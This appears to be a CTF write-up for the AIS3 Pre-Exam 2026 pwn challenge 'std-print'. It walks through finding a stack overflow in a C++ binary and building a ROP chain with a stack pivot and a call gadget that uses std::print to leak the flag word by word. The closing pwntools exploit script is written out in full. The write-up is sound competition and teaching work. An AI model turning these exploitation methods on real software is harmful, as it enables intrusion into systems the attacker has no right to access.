【AIS3 Pre-Exam 2026 Writeup】Pwn - std-print
The Makefile pointed to chall2.cpp, but the source file was not shipped. The binary still had symbols, so symbols and disassembly became the source review.
nm -anC share/chall | head
objdump -d -Mintel --start-address=0x403506 --stop-address=0x403664 share/chall
The useful functions were still named:
0x403506 load_flag()
0x40356c show_number()
0x4035d4 Question()
0x403613 main
load_flag() opens flag.txt, reads at most 0x7f bytes, and stores it in a fixed global buffer.
403543: bf 40 70 42 00 mov edi, 0x427040
403548: e8 d3 fd ff ff call fread@plt
So the flag is already in memory at 0x427040. No leak was needed for the flag address because PIE is off.
Protections:
pwn checksec share/chall
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
GOT was my first guess, but Full RELRO killed it. There is also no canary, so stack overwrite looked more useful.
main() calls show_number() once, then loops on Question() forever.
403658: call show_number()
40365d: call Question()
403662: jmp 0x40365d
show_number() calls std::print with a constant format string:
403591: mov QWORD PTR [rbp-0x8], 0x41a2b8 ; "Value: {2}\n"
4035b6: call 0x406b48
The format string is not user-controlled. Normal printf style bugs were my first branch because of the challenge text, but there was no %n, no user format, and no direct printf path. strings and symbols showed many std::__format / std::vprint_* functions instead. No trigger, no path.
Question() was the real bug:
4035d8: sub rsp, 0x50
4035dc: lea rax, [rbp-0x50]
4035e0: mov edx, 0xe0
4035e5: mov rsi, rax
4035e8: mov edi, 0
4035ed: call read@plt
4035f6: movzx eax, BYTE PTR [rbp-0x50]
4035fa: cmp al, 0x59 ; 'Y'
403602: cmp al, 0x79 ; 'y'
Only 0x50 bytes of stack buffer, but read() takes 0xe0. The first byte must be Y or y, otherwise it exits. Saved RIP offset is:
0x50 + 0x8 = 0x58
I restarted gdb a few times because I did not trust the offset at first. The overwrite was fine.
The next problem was calling something useful. fwrite(FLAG, 1, len, stdout) looked simple, but gadgets were not nice. There was no clean pop rdx; ret, and setting rcx for the fourth argument was also annoying.
ROPgadget --binary share/chall --only 'pop|ret'
ROPgadget --binary share/chall --depth 20 --only 'pop|mov|ret'
There were usable stack pivots:
0x416e51 : pop rdi ; pop rbp ; ret
0x4153f7 : pop rsi ; pop rbp ; ret
0x416e4b : pop rsp ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
But not enough clean register control for a normal libc print call.
The C++ code path looked better after that. The binary already has this function:
0x406b48 std::print<int&, int&, int&>(...)
From the call site in show_number(), the ABI was clear enough:
rdi = format string length
rsi = format string pointer
rdx = pointer to first int argument
rcx = pointer to second int argument
r8 = pointer to third int argument
The format string only needs {0}, so only rdx is important. It can print one 4-byte word as hex:
{0:08x}\n
The word is read from FLAG + idx * 4. After output, I convert the hex string back as little-endian bytes.
There was one useful call gadget inside the format implementation:
0x40be00:
mov r8, qword ptr [rbp-0x20]
mov rax, qword ptr [rbp-0x8]
mov rdx, qword ptr [rax]
mov rcx, qword ptr [rbp-0x18]
mov rax, qword ptr [rbp-0x10]
mov rsi, rcx
mov rdi, rax
call r8
leave
ret
The fake-frame gadget was usable:
[rbp-0x20] = function pointer
[rbp-0x18] = rsi
[rbp-0x10] = rdi
[rbp-0x08] = pointer to qword used for rdx
[rbp+0x00] = next rbp
[rbp+0x08] = next rip
At first I tried to chain many std::print calls in one connection. It printed the first word, then crashed. gdb showed std::print used a lot of stack and started overwriting my fake frames in .bss. One run even had rbp near 0x427020, which is the stdout copy relocation area. That explained the weird crashes.
Single word per connection was more stable. It is slower, but the remote service allows reconnecting.
Another bug in my first ROP was about rdx. I assumed the old read() left rdx = 0xe0, but after returning from libc it was not usable. The .bss stage was not loaded and the program returned to zero. gdb made this clear when the pivot stack was empty. I fixed it with a gadget:
0x4069c8 : mov edx, 0xc9000022 ; ret
The final layout uses two reads:
- overflow stack and call
read(0, HIGH, big_count) - pivot to
HIGH - fake frame calls
read(0, LOW, 0x400) - pivot to a high
.bssstack - fake frame calls
std::print
The high and low areas are separated because std::print consumes stack downward. If the data sits too close to the active stack, it gets smashed.
The remote output for early words looked like this:
33534941 -> AIS3
6b34667b -> {f4k
6c665f33 -> 3_fl
315f6734 -> 4g_1
The script repeats until } appears.
#!/usr/bin/env python3
from pwn import *
import re
import time
context.log_level = "error"
HOST = "chals1.ais3.org"
PORT = 50002
FLAG = 0x427040
READ = 0x403310
EXIT = 0x4032B0
PRINT = 0x406B48
CALL_GADGET = 0x40BE00
POP_RDI = 0x416E51
POP_RSI = 0x4153F7
POP_RSP = 0x416E4B
MOV_EDX_BIG = 0x4069C8
HIGH = 0x427E00
STACK1 = 0x427F08
READ_FRAME = 0x427E80
FINAL_STACK = 0x427F80
LOW = 0x427100
FMT = LOW
HOLDER = LOW + 0x10
PRINT_FRAME = LOW + 0x40
COUNT_HOLDER = 0x427E40
def write_q(buf, base, addr, value):
off = addr - base
assert 0 <= off <= len(buf) - 8, (hex(addr), off, len(buf))
buf[off : off + 8] = p64(value)
def build_payload(idx):
first = b"Y" + b"A" * (0x58 - 1)
first += p64(POP_RDI) + p64(0) + p64(0xDEADBEEFDEADBEEF)
first += p64(POP_RSI) + p64(HIGH) + p64(0xCAFEBABECAFEBABE)
first += p64(MOV_EDX_BIG) + p64(READ) + p64(POP_RSP) + p64(STACK1)
first = first.ljust(0xE0, b"B")
high = bytearray(b"H" * 0x1C0)
for off, value in [
(0, 0xAAAA),
(8, 0xBBBB),
(16, 0xCCCC),
(24, READ_FRAME),
(32, CALL_GADGET),
]:
write_q(high, HIGH, STACK1 + off, value)
write_q(high, HIGH, COUNT_HOLDER, 0x400)
write_q(high, HIGH, READ_FRAME - 0x20, READ)
write_q(high, HIGH, READ_FRAME - 0x18, LOW)
write_q(high, HIGH, READ_FRAME - 0x10, 0)
write_q(high, HIGH, READ_FRAME - 0x08, COUNT_HOLDER)
write_q(high, HIGH, READ_FRAME + 0x00, 0x4444)
write_q(high, HIGH, READ_FRAME + 0x08, POP_RSP)
write_q(high, HIGH, READ_FRAME + 0x10, FINAL_STACK)
for off, value in [
(0, 0x1111),
(8, 0x2222),
(16, 0x3333),
(24, PRINT_FRAME),
(32, CALL_GADGET),
]:
write_q(high, HIGH, FINAL_STACK + off, value)
low = bytearray(b"L" * 0x400)
fmt = b"{0:08x}\n"
low[FMT - LOW : FMT - LOW + len(fmt)] = fmt
write_q(low, LOW, HOLDER, FLAG + idx * 4)
write_q(low, LOW, PRINT_FRAME - 0x20, PRINT)
write_q(low, LOW, PRINT_FRAME - 0x18, FMT)
write_q(low, LOW, PRINT_FRAME - 0x10, len(fmt))
write_q(low, LOW, PRINT_FRAME - 0x08, HOLDER)
write_q(low, LOW, PRINT_FRAME + 0x00, 0)
write_q(low, LOW, PRINT_FRAME + 0x08, EXIT)
return first, bytes(high), bytes(low)
def leak_word(idx):
first, high, low = build_payload(idx)
for _ in range(3):
p = remote(HOST, PORT, timeout=5)
p.recvline(timeout=2)
p.send(first + high)
time.sleep(0.12)
p.send(low)
out = p.recvall(timeout=3)
p.close()
match = re.search(rb"\b([0-9a-fA-F]{8})\b", out)
if match:
return int(match.group(1), 16).to_bytes(4, "little")
time.sleep(0.2)
raise RuntimeError(f"failed to leak word {idx}")
def main():
leaked = b""
for idx in range(40):
leaked += leak_word(idx)
flag = leaked.split(b"\0")[0]
print(flag.decode(errors="replace"))
if b"}" in flag:
break
if __name__ == "__main__":
main()
AIS3{f4k3_fl4g_1s_4ls0_4_fl4g}